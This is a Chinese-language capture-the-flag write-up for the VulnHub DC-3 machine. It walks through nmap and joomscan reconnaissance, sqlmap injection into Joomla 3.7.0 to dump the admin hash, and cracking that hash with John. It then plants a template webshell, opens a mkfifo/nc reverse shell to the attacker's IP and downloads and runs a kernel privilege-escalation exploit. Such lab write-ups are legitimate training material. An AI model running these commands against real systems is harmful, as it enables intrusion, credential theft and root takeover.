靶機DC-3下載地址:https://www.vulnhub.com/entry/dc-32,312/
翻譯一下官方給出的一些資訊:
這個靶場與之前的不同,只有一個入口點和一個flag,並且沒有任何線索。
靶場只需要簡單的下載,解壓,開啟並將其匯入到VMware即可(我將其網路配置為NAT模式,保證機器與Kali在同一個網段下)
一、資訊收集
1.主機發現
arp-scan -l
2.埠掃描
nmap -A -p- 192.168.75.156
發現目標主機只是開啟了80埠,用的是Joomla
同時主頁也給我們提示,表明這個靶機只有一個flag
3.指令碼掃描
nmap --script=vuln 192.168.75.156
掃描得出CMS版本3.7.0
存在資料庫注入漏洞以及漏洞編號
4.cms掃描
cms為joomla,對應掃描器為joomscan
joomscan -u 192.168.75.156
掃描出登入介面
二、漏洞探測
searchsploit joomla 3.7.0
搜尋到joomla 3.7.0的資料庫注入漏洞,編號42033
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
找到注入方法
三、漏洞利用
1.資料庫注入攻擊
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
注入查詢當前靶機正在使用的資料庫為:joomladb
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
注入查詢joomladb資料庫有哪些表,篩選出使用者表:#__users
注入查詢#__users表有哪些列,共6列
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
注入查詢#__users表的name、password欄位,輸出資訊
sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
獲得網站後臺登入使用者名稱admin和密碼hash值
admin #使用者名稱
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #密碼hash值
2.密碼雜湊值解密john
vim 1.txt
建立一個用於放雜湊密碼的文件1.txt
john 1.txt
john解密
john 1.txt --show
得出密文:snoopy
3.反彈Shell
賬號密碼登入之前掃描的login網址
http://192.168.75.156/administrator/
發現可以編輯模板裡面的php檔案,且這些模板可以從外部訪問
這裡編輯Beez3模板
這裡我在html目錄下建立了一個名為wi11.php的webshell
接下來用蟻劍連線
http://192.168.75.156/templates/beez3/html/wi11.php
我們在Kali上使用nc,透過蟻劍反彈一個shell
我們先在Kali上開啟監聽
Kali:nc -lvnp 2333
蟻劍:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.150 2333 >/tmp/f
互動式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'
4.Ubuntu提權
提權(這裡有兩個思路:使用輔助指令碼、根據linux版本)
首先需要明確,不能使用蟻劍提權,因為HTTP是瞬時協議,我這邊正提權呢,你那邊TCP四次揮手斷開連線了,不能持久連線,所以蟻劍的作用就在於反彈shell、上傳檔案。
uname -a
lsb_release -a
檢視系統資訊,發現Ubuntu版本16.04
使用searchsploit工具查詢Ubuntu 16.04的提權漏洞,發現一個"拒絕服務漏洞",可以用來提權
searchsploit ubuntu 16.04
檢視漏洞介紹
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下載exp
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
透過蟻劍上傳到靶機
然後接下來的話就是解壓、編譯、執行EXP來獲得root許可權,所有命令如下
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh #執行指令碼,編譯檔案
./doubleput #執行提權檔案